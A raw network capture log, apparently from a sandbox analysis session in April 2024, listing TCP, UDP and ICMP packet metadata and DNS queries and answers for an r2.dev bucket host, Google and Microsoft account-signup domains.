Apr 17, 2024 01:43:01.217771053 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.217798948 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.217806101 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.217833996 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.217844963 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.217873096 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.217983007 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.218013048 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.218425035 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.218852043 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.218852043 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.218887091 CEST	443	49768	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.219554901 CEST	49768	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.302721977 CEST	49774	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.302771091 CEST	443	49774	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.303114891 CEST	49774	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.304611921 CEST	49774	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.304616928 CEST	49775	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.304620981 CEST	443	49774	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.304658890 CEST	443	49775	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.304877043 CEST	49775	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.304877043 CEST	49775	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.304910898 CEST	443	49775	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.308125019 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.308155060 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.310190916 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.310190916 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.310218096 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.310942888 CEST	49780	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.310971022 CEST	443	49780	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.312619925 CEST	49780	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.314277887 CEST	49780	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.314291954 CEST	443	49780	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.320893049 CEST	443	49773	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:01.320924044 CEST	443	49773	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:01.320986986 CEST	443	49773	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:01.321011066 CEST	49773	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:01.321821928 CEST	49773	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:01.321830988 CEST	443	49773	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:01.321865082 CEST	49773	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:01.321892023 CEST	49773	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:01.321892023 CEST	49773	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:01.622771025 CEST	443	49774	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.625134945 CEST	49774	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.625149965 CEST	443	49774	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.625447035 CEST	443	49774	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.625958920 CEST	49774	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.625958920 CEST	49774	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.626020908 CEST	443	49774	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.627245903 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.627415895 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.627427101 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.628336906 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.628689051 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.628689051 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.628689051 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.628700972 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.628741980 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.630310059 CEST	443	49775	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.630469084 CEST	443	49780	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.630497932 CEST	49775	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.630536079 CEST	443	49775	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.630740881 CEST	49780	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.630767107 CEST	443	49780	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.631087065 CEST	443	49780	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.631460905 CEST	49780	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.631460905 CEST	49780	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.631496906 CEST	443	49780	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.631547928 CEST	443	49780	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.631663084 CEST	443	49775	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.632004976 CEST	49775	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.632004976 CEST	49775	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.632040024 CEST	443	49775	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.632217884 CEST	443	49775	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.670906067 CEST	49774	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.670911074 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.670928955 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.686731100 CEST	49780	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.686739922 CEST	49775	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.718158960 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.839344978 CEST	443	49775	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.839555025 CEST	443	49775	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.843074083 CEST	49775	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.843691111 CEST	49775	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.843718052 CEST	443	49775	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.849519014 CEST	49782	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:01.849564075 CEST	443	49782	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:01.849723101 CEST	49782	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:01.849931002 CEST	49782	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:01.849953890 CEST	443	49782	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:01.937233925 CEST	443	49774	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.937258005 CEST	443	49774	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.937264919 CEST	443	49774	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.937306881 CEST	443	49774	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.937329054 CEST	49774	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.937342882 CEST	443	49774	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.937356949 CEST	443	49774	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.937366009 CEST	49774	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.937401056 CEST	49774	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.937406063 CEST	443	49774	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.937438965 CEST	49774	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.937454939 CEST	443	49774	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.937489986 CEST	49774	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.940239906 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.940258980 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.940265894 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.940308094 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.940319061 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.940325022 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.940350056 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.940354109 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.940365076 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.940366983 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.940382957 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.940403938 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.940426111 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.940432072 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.940479994 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.940495968 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.940541029 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.940546036 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.940551043 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.940593958 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.944782972 CEST	49774	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:01.944809914 CEST	443	49774	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:01.964323044 CEST	49784	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:01.964406013 CEST	443	49784	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:01.964482069 CEST	49784	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:01.964807987 CEST	49784	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:01.964849949 CEST	443	49784	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.048235893 CEST	443	49780	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.048254013 CEST	443	49780	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.048300982 CEST	49780	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:02.048326015 CEST	443	49780	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.048367977 CEST	49780	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:02.048701048 CEST	443	49780	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.048748970 CEST	443	49780	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.048789024 CEST	49780	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:02.049724102 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.049741030 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.049774885 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:02.049782991 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.049825907 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:02.049979925 CEST	49780	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:02.050007105 CEST	443	49780	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.050143957 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.050157070 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.050188065 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:02.050193071 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.050211906 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:02.050235987 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:02.050612926 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.050627947 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.050659895 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:02.050662994 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.050684929 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:02.050698996 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:02.154959917 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.154989004 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.155028105 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:02.155045033 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.155090094 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:02.155096054 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.155128956 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:02.155153036 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.155201912 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:02.169729948 CEST	443	49782	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.205331087 CEST	49782	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:02.205382109 CEST	49779	443	192.168.2.4	13.107.213.41
Apr 17, 2024 01:43:02.205390930 CEST	443	49782	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.205410004 CEST	443	49779	13.107.213.41	192.168.2.4
Apr 17, 2024 01:43:02.206762075 CEST	443	49782	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.207825899 CEST	49782	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:02.208004951 CEST	443	49782	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.211642027 CEST	49782	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:02.252139091 CEST	443	49782	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.281354904 CEST	443	49784	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.281618118 CEST	49784	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:02.281694889 CEST	443	49784	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.282013893 CEST	443	49784	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.282407045 CEST	49784	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:02.282474041 CEST	443	49784	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.282510042 CEST	49784	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:02.325952053 CEST	49784	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:02.325978994 CEST	443	49784	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.384751081 CEST	443	49782	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.384932995 CEST	443	49782	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.384996891 CEST	49782	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:02.386960030 CEST	49782	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:02.386991978 CEST	443	49782	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.598999977 CEST	443	49784	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.599024057 CEST	443	49784	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.599033117 CEST	443	49784	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.599071026 CEST	443	49784	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.599095106 CEST	49784	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:02.599117041 CEST	443	49784	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.599128008 CEST	443	49784	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.599140882 CEST	49784	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:02.599153042 CEST	443	49784	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:02.599172115 CEST	49784	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:02.599190950 CEST	49784	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:02.600517988 CEST	49784	443	192.168.2.4	13.107.246.71
Apr 17, 2024 01:43:02.600532055 CEST	443	49784	13.107.246.71	192.168.2.4
Apr 17, 2024 01:43:45.287036896 CEST	49799	443	192.168.2.4	74.125.136.106
Apr 17, 2024 01:43:45.287071943 CEST	443	49799	74.125.136.106	192.168.2.4
Apr 17, 2024 01:43:45.287123919 CEST	49799	443	192.168.2.4	74.125.136.106
Apr 17, 2024 01:43:45.287404060 CEST	49799	443	192.168.2.4	74.125.136.106
Apr 17, 2024 01:43:45.287414074 CEST	443	49799	74.125.136.106	192.168.2.4
Apr 17, 2024 01:43:45.501543045 CEST	443	49799	74.125.136.106	192.168.2.4
Apr 17, 2024 01:43:45.501889944 CEST	49799	443	192.168.2.4	74.125.136.106
Apr 17, 2024 01:43:45.501909971 CEST	443	49799	74.125.136.106	192.168.2.4
Apr 17, 2024 01:43:45.502366066 CEST	443	49799	74.125.136.106	192.168.2.4
Apr 17, 2024 01:43:45.502952099 CEST	49799	443	192.168.2.4	74.125.136.106
Apr 17, 2024 01:43:45.503030062 CEST	443	49799	74.125.136.106	192.168.2.4
Apr 17, 2024 01:43:45.544749022 CEST	49799	443	192.168.2.4	74.125.136.106
Apr 17, 2024 01:43:55.505331993 CEST	443	49799	74.125.136.106	192.168.2.4
Apr 17, 2024 01:43:55.505490065 CEST	443	49799	74.125.136.106	192.168.2.4
Apr 17, 2024 01:43:55.505539894 CEST	49799	443	192.168.2.4	74.125.136.106
Apr 17, 2024 01:43:57.125914097 CEST	49799	443	192.168.2.4	74.125.136.106
Apr 17, 2024 01:43:57.125945091 CEST	443	49799	74.125.136.106	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 17, 2024 01:42:40.843281031 CEST	53	53691	1.1.1.1	192.168.2.4
Apr 17, 2024 01:42:40.848555088 CEST	53	61651	1.1.1.1	192.168.2.4
Apr 17, 2024 01:42:41.462992907 CEST	53	64344	1.1.1.1	192.168.2.4
Apr 17, 2024 01:42:42.044203043 CEST	62349	53	192.168.2.4	1.1.1.1
Apr 17, 2024 01:42:42.044466972 CEST	58936	53	192.168.2.4	1.1.1.1
Apr 17, 2024 01:42:42.152678967 CEST	53	62349	1.1.1.1	192.168.2.4
Apr 17, 2024 01:42:42.153211117 CEST	53	58936	1.1.1.1	192.168.2.4
Apr 17, 2024 01:42:42.866919994 CEST	53	60875	1.1.1.1	192.168.2.4
Apr 17, 2024 01:42:44.242245913 CEST	53	53758	1.1.1.1	192.168.2.4
Apr 17, 2024 01:42:45.203721046 CEST	61425	53	192.168.2.4	1.1.1.1
Apr 17, 2024 01:42:45.203721046 CEST	56784	53	192.168.2.4	1.1.1.1
Apr 17, 2024 01:42:45.308413982 CEST	53	56784	1.1.1.1	192.168.2.4
Apr 17, 2024 01:42:45.308444977 CEST	53	61425	1.1.1.1	192.168.2.4
Apr 17, 2024 01:42:58.108360052 CEST	53305	53	192.168.2.4	1.1.1.1
Apr 17, 2024 01:42:58.108603001 CEST	53737	53	192.168.2.4	1.1.1.1
Apr 17, 2024 01:42:58.809619904 CEST	53	49665	1.1.1.1	192.168.2.4
Apr 17, 2024 01:43:00.018765926 CEST	50699	53	192.168.2.4	1.1.1.1
Apr 17, 2024 01:43:00.018898010 CEST	62587	53	192.168.2.4	1.1.1.1
Apr 17, 2024 01:43:01.386590958 CEST	53	59802	1.1.1.1	192.168.2.4
Apr 17, 2024 01:43:01.895396948 CEST	58518	53	192.168.2.4	1.1.1.1
Apr 17, 2024 01:43:01.895396948 CEST	49376	53	192.168.2.4	1.1.1.1
Apr 17, 2024 01:43:02.462189913 CEST	55739	53	192.168.2.4	1.1.1.1
Apr 17, 2024 01:43:02.462445021 CEST	50707	53	192.168.2.4	1.1.1.1
Apr 17, 2024 01:43:04.280606031 CEST	59573	53	192.168.2.4	1.1.1.1
Apr 17, 2024 01:43:04.280822992 CEST	61899	53	192.168.2.4	1.1.1.1
Apr 17, 2024 01:43:04.411227942 CEST	138	138	192.168.2.4	192.168.2.255
Apr 17, 2024 01:43:17.701179028 CEST	53	56876	1.1.1.1	192.168.2.4
Apr 17, 2024 01:43:40.276873112 CEST	53	53804	1.1.1.1	192.168.2.4
Apr 17, 2024 01:43:40.750741005 CEST	53	56158	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Apr 17, 2024 01:43:04.424560070 CEST	192.168.2.4	1.1.1.1	c2a1	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 17, 2024 01:42:42.044203043 CEST	192.168.2.4	1.1.1.1	0x8300	Standard query (0)	pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:42:42.044466972 CEST	192.168.2.4	1.1.1.1	0x230a	Standard query (0)	pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev	65	IN (0x0001)	false
Apr 17, 2024 01:42:45.203721046 CEST	192.168.2.4	1.1.1.1	0x5207	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:42:45.203721046 CEST	192.168.2.4	1.1.1.1	0xc5d3	Standard query (0)	www.google.com	65	IN (0x0001)	false
Apr 17, 2024 01:42:58.108360052 CEST	192.168.2.4	1.1.1.1	0x2461	Standard query (0)	signup.live.com	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:42:58.108603001 CEST	192.168.2.4	1.1.1.1	0x59ee	Standard query (0)	signup.live.com	65	IN (0x0001)	false
Apr 17, 2024 01:43:00.018765926 CEST	192.168.2.4	1.1.1.1	0xc0cd	Standard query (0)	acctcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:43:00.018898010 CEST	192.168.2.4	1.1.1.1	0x6a73	Standard query (0)	acctcdn.msftauth.net	65	IN (0x0001)	false
Apr 17, 2024 01:43:01.895396948 CEST	192.168.2.4	1.1.1.1	0x8673	Standard query (0)	fpt.live.com	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:43:01.895396948 CEST	192.168.2.4	1.1.1.1	0x68d5	Standard query (0)	fpt.live.com	65	IN (0x0001)	false
Apr 17, 2024 01:43:02.462189913 CEST	192.168.2.4	1.1.1.1	0x7b83	Standard query (0)	signup.live.com	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:43:02.462445021 CEST	192.168.2.4	1.1.1.1	0x81c7	Standard query (0)	signup.live.com	65	IN (0x0001)	false
Apr 17, 2024 01:43:04.280606031 CEST	192.168.2.4	1.1.1.1	0xfb1b	Standard query (0)	fpt.live.com	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:43:04.280822992 CEST	192.168.2.4	1.1.1.1	0xcf0	Standard query (0)	fpt.live.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 17, 2024 01:42:42.152678967 CEST	1.1.1.1	192.168.2.4	0x8300	No error (0)	pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev		104.18.3.35	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:42:42.152678967 CEST	1.1.1.1	192.168.2.4	0x8300	No error (0)	pub-fb18fd8aaa2c453dab56d6f0ae35acae.r2.dev		104.18.2.35	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:42:42.869115114 CEST	1.1.1.1	192.168.2.4	0x68cf	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2024 01:42:42.869115114 CEST	1.1.1.1	192.168.2.4	0x68cf	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:42:42.869115114 CEST	1.1.1.1	192.168.2.4	0x68cf	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:42:45.308413982 CEST	1.1.1.1	192.168.2.4	0xc5d3	No error (0)	www.google.com			65	IN (0x0001)	false
Apr 17, 2024 01:42:45.308444977 CEST	1.1.1.1	192.168.2.4	0x5207	No error (0)	www.google.com		74.125.136.106	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:42:45.308444977 CEST	1.1.1.1	192.168.2.4	0x5207	No error (0)	www.google.com		74.125.136.104	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:42:45.308444977 CEST	1.1.1.1	192.168.2.4	0x5207	No error (0)	www.google.com		74.125.136.147	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:42:45.308444977 CEST	1.1.1.1	192.168.2.4	0x5207	No error (0)	www.google.com		74.125.136.105	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:42:45.308444977 CEST	1.1.1.1	192.168.2.4	0x5207	No error (0)	www.google.com		74.125.136.99	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:42:45.308444977 CEST	1.1.1.1	192.168.2.4	0x5207	No error (0)	www.google.com		74.125.136.103	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:42:45.315438032 CEST	1.1.1.1	192.168.2.4	0xeb50	No error (0)	shed.dual-low.part-0008.t-0009.t-msedge.net	part-0008.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2024 01:42:45.315438032 CEST	1.1.1.1	192.168.2.4	0xeb50	No error (0)	part-0008.t-0009.t-msedge.net		13.107.246.36	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:42:45.315438032 CEST	1.1.1.1	192.168.2.4	0xeb50	No error (0)	part-0008.t-0009.t-msedge.net		13.107.213.36	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:42:57.467165947 CEST	1.1.1.1	192.168.2.4	0x244	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2024 01:42:57.467165947 CEST	1.1.1.1	192.168.2.4	0x244	No error (0)	fp2e7a.wpc.phicdn.net		192.229.211.108	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:42:58.213504076 CEST	1.1.1.1	192.168.2.4	0x2461	No error (0)	signup.live.com	account.msa.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2024 01:42:58.241771936 CEST	1.1.1.1	192.168.2.4	0x59ee	No error (0)	signup.live.com	account.msa.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2024 01:43:00.012222052 CEST	1.1.1.1	192.168.2.4	0x59cf	No error (0)	shed.dual-low.part-0013.t-0009.t-msedge.net	part-0013.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2024 01:43:00.012222052 CEST	1.1.1.1	192.168.2.4	0x59cf	No error (0)	part-0013.t-0009.t-msedge.net		13.107.213.41	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:43:00.012222052 CEST	1.1.1.1	192.168.2.4	0x59cf	No error (0)	part-0013.t-0009.t-msedge.net		13.107.246.41	A (IP address)	IN (0x0001)	false
Apr 17, 2024 01:43:00.122066021 CEST	1.1.1.1	192.168.2.4	0x1b34	No error (0)	scdn1efff.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Apr 17, 2024 01:43:00.122194052 CEST	1.1.1.1	192.168.2.4	0x6395	No error (0)	scdn1efff.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
